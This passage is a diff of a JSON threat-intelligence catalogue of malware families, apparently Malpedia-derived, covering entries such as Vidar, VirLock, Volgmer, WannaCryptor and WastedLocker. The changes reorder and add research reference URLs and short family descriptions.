"https://www.esentire.com/web-native-pages/unmasking-venom-spider", + "https://www.esentire.com/security-advisories/hackers-spearphish-professionals-on-linkedin-with-fake-job-offers-infecting-them-with-malware-warns-esentire", "https://quointelligence.eu/2020/07/golden-chickens-evolution-of-the-maas/" ], "synonyms": [], @@ -46906,9 +49522,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.vermin", - "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/", + "https://www.fireeye.com/blog/threat-research/2019/04/spear-phishing-campaign-targets-ukraine-government.html", "https://www.welivesecurity.com/2018/07/17/deep-dive-vermin-rathole/", - "https://www.fireeye.com/blog/threat-research/2019/04/spear-phishing-campaign-targets-ukraine-government.html" + "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/" ], "synonyms": [], "type": [] @@ -46917,7 +49533,7 @@ "value": "Vermin" }, { - "description": "Vflooder floods VirusTotal by infinitely submitting a copy of itself. Some variants apparently also try to flood Twitter. The impact on these services are negligible, but for researchers it can be a nuisance. Most versions are protectd by VMProtect.", + "description": "Vflooder floods VirusTotal by infinitely submitting a copy of itself. Some variants apparently also try to flood Twitter. The impact on these services are negligible, but for researchers it can be a nuisance. Most versions are protected by VMProtect.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.vflooder", @@ -46934,12 +49550,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.vhd_ransomware", - "https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/", - "https://seguranca-informatica.pt/secrets-behind-the-lazaruss-vhd-ransomware/", "https://twitter.com/GrujaRS/status/1241657443282825217", "https://securelist.com/apt-trends-report-q2-2020/97937/", "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/the-sound-of-malware.html", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/the-hermit-kingdoms-ransomware-play.html" + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/the-hermit-kingdoms-ransomware-play.html", + "https://seguranca-informatica.pt/secrets-behind-the-lazaruss-vhd-ransomware/", + "https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/" ], "synonyms": [], "type": [] @@ -46952,9 +49568,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.victorygate", - "https://www.advintel.io/post/economic-growth-digital-inclusion-specialized-crime-financial-cyber-fraud-in-latam", "https://www.welivesecurity.com/2020/04/23/eset-discovery-monero-mining-botnet-disrupted/", "https://criptonizando.com/35-mil-computadores-foram-infectados-na-america-latina-por-malware-que-minerava-monero/", + "https://www.advintel.io/post/economic-growth-digital-inclusion-specialized-crime-financial-cyber-fraud-in-latam", "https://www.eset.com/int/about/newsroom/press-releases/research/eset-researchers-disrupt-cryptomining-botnet-victorygate/" ], "synonyms": [], @@ -46968,40 +49584,59 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar", - "https://www.csoonline.com/article/3654849/microsoft-help-files-repurposed-to-contain-vidar-malware-in-new-campaign.html", - "https://tccontre.blogspot.com/2019/03/infor-stealer-vidar-trojanspy-analysis.html", - "https://www.cybereason.com/blog/the-hole-in-the-bucket-attackers-abuse-bitbucket-to-deliver-an-arsenal-of-malware", - "https://twitter.com/GroupIB_GIB/status/1570821174736850945", - "https://docs.google.com/spreadsheets/d/1nx42rdMdkCrvlmACDi3CHseyG87iSV1Y6rGZYq_-oDk", - "https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/", - "https://www.trendmicro.com/en_us/research/21/i/fake-installers-drop-malware-and-open-doors-for-opportunistic-attackers.html", - "https://blog.sekoia.io/traffers-a-deep-dive-into-the-information-stealer-ecosystem", - "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", - "https://medium.com/s2wlab/deep-analysis-of-vidar-stealer-ebfc3b557aed", - "https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf", - "https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/", - "https://blog.minerva-labs.com/vidar-stealer-evasion-arsenal", - "https://www.zscaler.com/blogs/security-research/vidar-distributed-through-backdoored-windows-11-downloads-and-abusing", - "https://blog.malwarebytes.com/threat-analysis/2019/01/vidar-gandcrab-stealer-and-ransomware-combo-observed-in-the-wild/", - "https://www.bleepingcomputer.com/news/security/gandcrab-operators-use-vidar-infostealer-as-a-forerunner/", - "https://asec.ahnlab.com/en/30445/", - "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://eln0ty.github.io/malware%20analysis/vidar/", - "https://intel471.com/blog/privateloader-malware", "https://isc.sans.edu/diary/rss/28468", - "https://asec.ahnlab.com/en/22932/", - "https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/", - "https://cert.pl/en/posts/2021/10/vidar-campaign/", - "https://threatpost.com/microsoft-help-files-vidar-malware/179078/", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/vidar-malware-launcher-concealed-in-help-file/", - "https://medium.com/s2wlab/w1-feb-en-story-of-the-week-stealers-on-the-darkweb-49945a31601d", - "https://fumik0.com/2018/12/24/lets-dig-into-vidar-an-arkei-copycat-forked-stealer-in-depth-analysis/", - "https://asec.ahnlab.com/en/30875/", - "https://twitter.com/sisoma2/status/1409816282065743872", - "https://asec.ahnlab.com/ko/25837/", "https://ke-la.com/information-stealers-a-new-landscape/", - "https://www.bleepingcomputer.com/news/security/fake-pixelmon-nft-site-infects-you-with-password-stealing-malware/" + "https://fumik0.com/2018/12/24/lets-dig-into-vidar-an-arkei-copycat-forked-stealer-in-depth-analysis/", + "https://blog.jaalma.io/vidar-infostealer-analysis/", + "https://www.esentire.com/blog/batloader-continues-to-abuse-google-search-ads-to-deliver-vidar-stealer-and-ursnif", + "https://www.fortinet.com/blog/threat-research/the-year-of-the-wiper", + "https://intel471.com/blog/privateloader-malware", + "https://medium.com/s2wlab/w1-feb-en-story-of-the-week-stealers-on-the-darkweb-49945a31601d", + "https://kienmanowar.wordpress.com/2022/12/17/quicknote-vidarstealer-analysis/", + "https://tccontre.blogspot.com/2019/03/infor-stealer-vidar-trojanspy-analysis.html", + "https://www.trendmicro.com/en_us/research/21/i/fake-installers-drop-malware-and-open-doors-for-opportunistic-attackers.html", + "https://www.bleepingcomputer.com/news/security/fake-pixelmon-nft-site-infects-you-with-password-stealing-malware/", + "https://twitter.com/GroupIB_GIB/status/1570821174736850945", + "https://eln0ty.github.io/malware%20analysis/vidar/", + "https://asec.ahnlab.com/ko/25837/", + "https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign", + "https://asec.ahnlab.com/en/22932/", + "https://asec.ahnlab.com/en/30445/", + "https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/", + "https://www.cynet.com/blog/cyops-lighthouse-vidar-stealer/", + "https://blog.minerva-labs.com/vidar-stealer-evasion-arsenal", + "https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/", + "https://blog.cyble.com/2022/11/08/massive-youtube-campaign-targeting-over-100-applications-to-deliver-info-stealer/", + "https://isc.sans.edu/diary/Arkei+Variants%3A+From+Vidar+to+Mars+Stealer/28468", + "https://medium.com/s2wlab/deep-analysis-of-vidar-stealer-ebfc3b557aed", + "https://asec.ahnlab.com/en/30875/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://twitter.com/sisoma2/status/1409816282065743872", + "https://cert.pl/en/posts/2021/10/vidar-campaign/", + "https://www.bleepingcomputer.com/news/security/gandcrab-operators-use-vidar-infostealer-as-a-forerunner/", + "https://www.youtube.com/watch?v=lxdlNOaHJQA", + "https://www.csoonline.com/article/3654849/microsoft-help-files-repurposed-to-contain-vidar-malware-in-new-campaign.html", + "https://www.zscaler.com/blogs/security-research/vidar-distributed-through-backdoored-windows-11-downloads-and-abusing", + "https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf", + "https://www.team-cymru.com/post/darth-vidar-the-dark-side-of-evolving-threat-infrastructure", + "https://www.cybereason.com/blog/the-hole-in-the-bucket-attackers-abuse-bitbucket-to-deliver-an-arsenal-of-malware", + "https://community.emergingthreats.net/t/vidar-stealer-picks-up-steam/271", + "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", + "https://research.checkpoint.com/2022/bumblebee-increasing-its-capacity-and-evolving-its-ttps/", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/vidar-malware-launcher-concealed-in-help-file/", + "https://securelist.com/nullmixer-oodles-of-trojans-in-a-single-dropper/107498/", + "https://blog.sekoia.io/traffers-a-deep-dive-into-the-information-stealer-ecosystem", + "https://darktrace.com/blog/vidar-info-stealer-malware-distributed-via-malvertising-on-google", + "https://docs.google.com/spreadsheets/d/1nx42rdMdkCrvlmACDi3CHseyG87iSV1Y6rGZYq_-oDk", + "https://blog.malwarebytes.com/threat-analysis/2019/01/vidar-gandcrab-stealer-and-ransomware-combo-observed-in-the-wild/", + "https://www.youtube.com/watch?v=NI_Yw2t9zoo", + "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", + "https://www.quorumcyber.com/wp-content/uploads/2023/01/Malware-Analysis-Vidar.pdf", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf", + "https://malwarology.substack.com/p/malicious-packer-pkr_ce1a?r=1lslzd", + "https://www.kroll.com/en/insights/publications/cyber/threat-actors-google-ads-deploy-vidar-stealer", + "https://threatpost.com/microsoft-help-files-vidar-malware/179078/" ], "synonyms": [], "type": [] @@ -47014,11 +49649,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.vigilant_cleaner", - "https://blog.trendmicro.co.jp/archives/28319", - "https://www.mbsd.jp/research/20210721/blog/", "https://blog.cyble.com/2021/08/02/a-deep-dive-analysis-of-a-new-wiper-malware-disguised-as-tokyo-olympics-document/", + "https://blog.trendmicro.co.jp/archives/28319", "https://www.fortinet.com/blog/threat-research/wiper-malware-riding-tokyo-olympic-games", - "https://therecord.media/wiper-malware-targeting-japanese-pcs-discovered-ahead-of-tokyo-olympics-opening/" + "https://therecord.media/wiper-malware-targeting-japanese-pcs-discovered-ahead-of-tokyo-olympics-opening/", + "https://www.mbsd.jp/research/20210721/blog/" ], "synonyms": [ "VIGILANT CHECKER" @@ -47041,18 +49676,48 @@ "uuid": "30161733-993f-4a1c-bcc5-7b4f1cd7d9e4", "value": "virdetdoor" }, + { + "description": "Polymorphic parasitic file infecting virus which transforms files into copies of itself. Additionally it uses screen-locking as a ransomware technique.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.virlock", + "https://www.ciberseguridad.eus/sites/default/files/2022-04/bcsc-malware-virlock-tlpwhite_v1242.pdf", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-recap-january-14-29-2017", + "https://www.welivesecurity.com/2014/12/22/win32virlock-first-self-reproducing-ransomware-also-shape-shifter/", + "https://blogs.blackberry.com/en/2019/07/threat-spotlight-virlock-polymorphic-ransomware", + "https://www.virusbulletin.com/virusbulletin/2016/12/vb2015-paper-its-file-infector-its-ransomware-its-virlock/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "86ea83f1-c06c-4ee3-9c4e-df302974f649", + "value": "VirLock" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.virtualgate", + "https://norfolkinfosec.com/some-notes-on-virtualgate/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "48d47a27-464a-4087-b691-574c3b494efb", + "value": "VIRTUALGATE" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.virut", - "https://chrisdietri.ch/post/virut-resurrects/", - "https://www.mandiant.com/resources/pe-file-infecting-malware-ot", - "https://blog.malwarebytes.com/threat-analysis/2018/03/blast-from-the-past-stowaway-virut-delivered-with-chinese-ddos-bot/", - "https://www.theregister.co.uk/2018/01/10/taiwanese_police_malware/", - "https://securelist.com/review-of-the-virus-win32-virut-ce-malware-sample/36305/", - "https://krebsonsecurity.com/2013/01/polish-takedown-targets-virut-botnet/", "https://www.secureworks.com/research/virut-encryption-analysis", + "https://www.theregister.co.uk/2018/01/10/taiwanese_police_malware/", + "https://www.mandiant.com/resources/pe-file-infecting-malware-ot", + "https://chrisdietri.ch/post/virut-resurrects/", + "https://krebsonsecurity.com/2013/01/polish-takedown-targets-virut-botnet/", + "https://securelist.com/review-of-the-virus-win32-virut-ce-malware-sample/36305/", + "https://blog.malwarebytes.com/threat-analysis/2018/03/blast-from-the-past-stowaway-virut-delivered-with-chinese-ddos-bot/", "https://www.spamhaus.org/news/article/690/cooperative-efforts-to-shut-down-virut-botnet" ], "synonyms": [], @@ -47079,15 +49744,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.vjw0rm", - "https://community.riskiq.com/article/24759ad2", - "https://threatresearch.ext.hp.com/wp-content/uploads/2022/05/HP-Wolf-Security-Threat-Insights-Report-Q1-2022.pdf", - "https://www.proofpoint.com/us/blog/threat-insight/reservations-requested-ta558-targets-hospitality-and-travel", - "https://appriver.com/resources/blog/november-2020/vjw0rm-back-new-tactics", "https://twitter.com/tccontre18/status/1461386178528264204", + "https://threatresearch.ext.hp.com/wp-content/uploads/2022/05/HP-Wolf-Security-Threat-Insights-Report-Q1-2022.pdf", + "https://threatresearch.ext.hp.com/wp-content/uploads/2021/10/HP-Wolf-Security-Threat-Insights-Report-Q3-2021.pdf", + "https://www.proofpoint.com/us/blog/threat-insight/reservations-requested-ta558-targets-hospitality-and-travel", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", "https://www.deepinstinct.com/blog/understanding-the-windows-javascript-threat-landscape", + "https://resources.securityscorecard.com/research/acasestudyofVjw0rm#page=1", + "https://community.riskiq.com/article/24759ad2", + "https://appriver.com/resources/blog/november-2020/vjw0rm-back-new-tactics", "https://bazaar.abuse.ch/browse/signature/Vjw0rm/", - "https://lifars.com/wp-content/uploads/2021/09/Vjw0rm-.pdf", - "https://threatresearch.ext.hp.com/wp-content/uploads/2021/10/HP-Wolf-Security-Threat-Insights-Report-Q3-2021.pdf" + "https://lifars.com/wp-content/uploads/2021/09/Vjw0rm-.pdf" ], "synonyms": [], "type": [] @@ -47100,8 +49767,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.vmzeus", - "https://blog.malwarebytes.com/threat-analysis/2014/02/hiding-in-plain-sight-a-story-about-a-sneaky-banking-trojan/", - "https://securityintelligence.com/new-zberp-trojan-discovered-zeus-zbot-carberp/" + "https://securityintelligence.com/new-zberp-trojan-discovered-zeus-zbot-carberp/", + "https://blog.malwarebytes.com/threat-analysis/2014/02/hiding-in-plain-sight-a-story-about-a-sneaky-banking-trojan/" ], "synonyms": [ "VMzeus", @@ -47114,12 +49781,12 @@ "value": "VM Zeus" }, { - "description": "", + "description": "Malware of this family searches for computers on a network and creates copies of itself in folders with open access. For the program to be activated, the user must first run it on the computer. The code of this malware is written in the Visual Basic programming language and uses obfuscation, which is a distinguishing feature of this family. Code obfuscation complicates attempts by anti-virus software to analyze suspected malware.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.vobfus", - "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/151/beebone-botnet-takedown-trend-micro-solutions", "https://blog.trendmicro.com/trendlabs-security-intelligence/whats-the-fuss-with-worm_vobfus/", + "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/151/beebone-botnet-takedown-trend-micro-solutions", "http://contagiodump.blogspot.com/2012/12/nov-2012-worm-vobfus-samples.html" ], "synonyms": [ @@ -47130,6 +49797,20 @@ "uuid": "60f7b1b9-c283-4395-909f-7b8b1731e840", "value": "Vobfus" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.vohuk", + "https://www.fortinet.com/blog/threat-research/ransomware-roundup-new-vohuk-scarecrow-and-aerst-variants", + "https://github.com/MalGamy/YARA_Rules/blob/main/vohuk.yara" + ], + "synonyms": [], + "type": [] + }, + "uuid": "f2c91bfb-1b22-4399-849a-f07304c2e81f", + "value": "Vohuk" + }, { "description": "Ransomware.", "meta": { @@ -47151,16 +49832,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.volgmer", + "https://securelist.com/lazarus-threatneedle/100803/", + "https://www.us-cert.gov/ncas/alerts/TA17-318B", + "https://drive.google.com/file/d/1XoGQFEJQ4nFAUXSGwcnTobviQ_ms35mG/view", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://securelist.com/apt-trends-report-q2-2020/97937/", + "https://securelist.com/the-lazarus-group-deathnote-campaign/109490/", + "https://lifars.com/wp-content/uploads/2021/09/Lazarus.pdf", + "https://securelist.com/operation-applejeus/87553/", "https://drive.google.com/file/d/1lq0Sjw4FKBxf017Ss7W7uGMvs7CgFzcA/view", "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", - "https://securelist.com/lazarus-threatneedle/100803/", "https://www.secureworks.com/research/threat-profiles/nickel-academy", - "https://securelist.com/apt-trends-report-q2-2020/97937/", - "https://www.us-cert.gov/ncas/alerts/TA17-318B", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://securelist.com/operation-applejeus/87553/", - "https://drive.google.com/file/d/1XoGQFEJQ4nFAUXSGwcnTobviQ_ms35mG/view", - "https://lifars.com/wp-content/uploads/2021/09/Lazarus.pdf", "https://medium.com/s2wlab/analysis-of-threatneedle-c-c-communication-feat-google-tag-warning-to-researchers-782aa51cf74" ], "synonyms": [ @@ -47169,15 +49851,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "0a52e73b-d7e9-45ae-9bda-46568f753931", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "bbfd4fb4-3e5a-43bf-b4bb-eaf5ef4fb25f", "value": "Volgmer" }, @@ -47186,8 +49859,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.vovalex", - "https://twitter.com/malwrhunterteam/status/1351808079164276736", - "https://twitter.com/VK_Intel/status/1355196321964109824" + "https://twitter.com/VK_Intel/status/1355196321964109824", + "https://twitter.com/malwrhunterteam/status/1351808079164276736" ], "synonyms": [], "type": [] @@ -47213,6 +49886,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.vsingle", + "https://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", "https://blogs.jpcert.or.jp/en/2022/07/vsingle.html", "https://blogs.jpcert.or.jp/en/2021/03/Lazarus_malware3.html" ], @@ -47227,9 +49901,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.vskimmer", + "http://vkremez.weebly.com/cyber-security/-backdoor-win32hesetoxa-vskimmer-pos-malware-analysis", "http://www.xylibox.com/2013/01/vskimmer.html", - "https://securingtomorrow.mcafee.com/mcafee-labs/vskimmer-botnet-targets-credit-card-payment-terminals/", - "http://vkremez.weebly.com/cyber-security/-backdoor-win32hesetoxa-vskimmer-pos-malware-analysis" + "https://securingtomorrow.mcafee.com/mcafee-labs/vskimmer-botnet-targets-credit-card-payment-terminals/" ], "synonyms": [], "type": [] @@ -47294,42 +49968,43 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.wannacryptor", - "https://securelist.com/big-threats-using-code-similarity-part-1/97239/", - "https://securelist.com/blog/incidents/78351/wannacry-ransomware-used-in-widespread-attacks-all-over-the-world/", - "https://gist.github.com/rain-1/989428fa5504f378b993ee6efbc0b168", - "https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf", - "https://blog.avast.com/ransomware-that-infected-telefonica-and-nhs-hospitals-is-spreading-aggressively-with-over-50000-attacks-so-far-today", - "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", - "https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group", - "https://www.malwaretech.com/2017/05/how-to-accidentally-stop-a-global-cyber-attacks.html", - "https://blog.malwarebytes.com/cybercrime/2017/05/how-did-wannacry-ransomworm-spread/", - "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", "https://www.youtube.com/watch?v=Q90uZS3taG0", - "https://news.sophos.com/en-us/2019/09/18/the-wannacry-hangover/", - "https://sites.temple.edu/care/ci-rw-attacks/", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://news.sophos.com/en-us/2021/03/15/dearcry-ransomware-attacks-exploit-exchange-server-vulnerabilities/", - "http://blog.emsisoft.com/2017/05/12/wcry-ransomware-outbreak/", - "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/WannaCry-Aftershock.pdf", - "https://storage.googleapis.com/pub-tools-public-publication-data/pdf/ce44cbda9fdc061050c1d2a5dec0270874a9dc85.pdf", - "https://blog.comae.io/wannacry-new-variants-detected-b8908fefea7e", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://securelist.com/big-threats-using-code-similarity-part-1/97239/", "https://swanleesec.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-1", - "https://blog.gdatasoftware.com/2017/05/29751-wannacry-ransomware-campaign", - "https://docs.microsoft.com/en-us/security/compass/human-operated-ransomware", - "https://www.flashpoint-intel.com/blog/linguistic-analysis-wannacry-ransomware/", - "http://www.independent.co.uk/news/uk/home-news/wannacry-malware-hack-nhs-report-cybercrime-north-korea-uk-ben-wallace-a8022491.html", - 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"https://metaswan.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-1", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://gist.github.com/rain-1/989428fa5504f378b993ee6efbc0b168", "https://blog.comae.io/wannacry-the-largest-ransom-ware-infection-in-history-f37da8e30a58", + "https://blog.gdatasoftware.com/2017/05/29751-wannacry-ransomware-campaign", + "https://blog.malwarebytes.com/cybercrime/2017/05/how-did-wannacry-ransomworm-spread/", + "https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf", "https://i.blackhat.com/eu-20/Wednesday/eu-20-Rivera-From-Zero-To-Sixty-The-Story-Of-North-Koreas-Rapid-Ascent-To-Becoming-A-Global-Cyber-Superpower.pdf", - "https://www.il-pib.pl/czasopisma/JTIT/2019/1/113.pdf" + "http://www.independent.co.uk/news/uk/home-news/wannacry-malware-hack-nhs-report-cybercrime-north-korea-uk-ben-wallace-a8022491.html", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07170728/Guerrero-Saade-Raiu-VB2017.pdf", + "https://sites.temple.edu/care/ci-rw-attacks/", + "https://dissectingmalwa.re/third-times-the-charm-analysing-wannacry-samples.html", + "https://blog.comae.io/wannacry-new-variants-detected-b8908fefea7e", + "https://storage.googleapis.com/pub-tools-public-publication-data/pdf/ce44cbda9fdc061050c1d2a5dec0270874a9dc85.pdf", + "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/WannaCry-Aftershock.pdf", + "https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group", + "https://www.flashpoint-intel.com/blog/linguistic-analysis-wannacry-ransomware/", + "https://baesystemsai.blogspot.de/2017/05/wanacrypt0r-ransomworm.html", + "https://www.il-pib.pl/czasopisma/JTIT/2019/1/113.pdf", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", + "https://themoscowtimes.com/news/wcry-virus-reportedly-infects-russian-interior-ministrys-computer-network-57984", + "https://blog.avast.com/ransomware-that-infected-telefonica-and-nhs-hospitals-is-spreading-aggressively-with-over-50000-attacks-so-far-today", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://securelist.com/blog/incidents/78351/wannacry-ransomware-used-in-widespread-attacks-all-over-the-world/", + "https://docs.microsoft.com/en-us/security/compass/human-operated-ransomware", + "https://www.malwaretech.com/2017/05/how-to-accidentally-stop-a-global-cyber-attacks.html", + "http://blog.emsisoft.com/2017/05/12/wcry-ransomware-outbreak/", + "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", + "https://news.sophos.com/en-us/2019/09/18/the-wannacry-hangover/", + "https://github.com/0xZuk0/rules-of-yaras/blob/main/reports/Wannacry%20Ransomware%20Report.pdf" ], "synonyms": [ "Wana Decrypt0r", @@ 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"https://killingthebear.jorgetesta.tech/actors/evil-corp", + "https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/", "https://news.sophos.com/en-us/2020/08/04/wastedlocker-techniques-point-to-a-familiar-heritage/", + "https://www.prodaft.com/m/uploads/SilverFish_TLPWHITE.pdf", + "https://www.sentinelone.com/labs/sanctions-be-damned-from-dridex-to-macaw-the-evolution-of-evil-corp/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.sentinelone.com/wp-content/uploads/2022/02/S1_-SentinelLabs_SanctionsBeDamned_final_02.pdf", + "https://blog.talosintelligence.com/2021/03/ctir-trends-winter-2020-21.html", + "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", + "https://unit42.paloaltonetworks.com/atoms/wastedlocker-ransomware/", + "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", + "https://ioc.hatenablog.com/entry/2020/08/16/132853", + "https://kc.mcafee.com/corporate/index?page=content&id=KB93302&locale=en_US", + "https://www.bleepingcomputer.com/news/security/evil-corp-switches-to-hades-ransomware-to-evade-sanctions/", + "https://www.securonix.com/web/wp-content/uploads/2020/08/Securonix_Threat_Research_WastedLocker_Ransomware.pdf", + "https://symantec.broadcom.com/hubfs/SED-Threats-Financial-Sector.pdf", + "https://unit42.paloaltonetworks.com/wastedlocker/", + "https://blog.malwarebytes.com/threat-spotlight/2020/07/threat-spotlight-wastedlocker-customized-ransomware/", "http://www.secureworks.com/research/threat-profiles/gold-drake", "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", - "https://www.crowdstrike.com/blog/hades-ransomware-successor-to-indrik-spiders-wastedlocker/", "https://blog.truesec.com/2021/05/05/are-the-notorious-cyber-criminals-evil-corp-actually-russian-spies/", - "https://www.sentinelone.com/labs/sanctions-be-damned-from-dridex-to-macaw-the-evolution-of-evil-corp/", - "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", - "https://www.bbc.com/news/world-us-canada-53195749", - "https://www.prodaft.com/m/uploads/SilverFish_TLPWHITE.pdf", - "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://medium.com/walmartglobaltech/wastedloader-or-dridexloader-4f47c9b3ae77", - "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", - "https://www.bleepingcomputer.com/news/security/insurance-giant-cna-hit-by-new-phoenix-cryptolocker-ransomware/", - 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"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", "https://www.bleepingcomputer.com/news/security/garmin-outage-caused-by-confirmed-wastedlocker-ransomware-attack/", - "https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf" + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us", + "https://medium.com/cycraft/the-road-to-ransomware-resilience-c1ca37036efd", + "https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware", + "https://www.bleepingcomputer.com/news/security/insurance-giant-cna-hit-by-new-phoenix-cryptolocker-ransomware/", + "https://areteir.com/wp-content/uploads/2020/07/Ransomware-WastedLocker-1.pdf", + "https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp" ], "synonyms": [], "type": [] @@ -47447,12 +50122,12 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.waterbear", "https://teamt5.org/tw/posts/mjib-holds-briefing-on-chinese-hackers-attacks-on-taiwanese-government-agencies/", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_2_ycy-aragorn_en.pdf", - 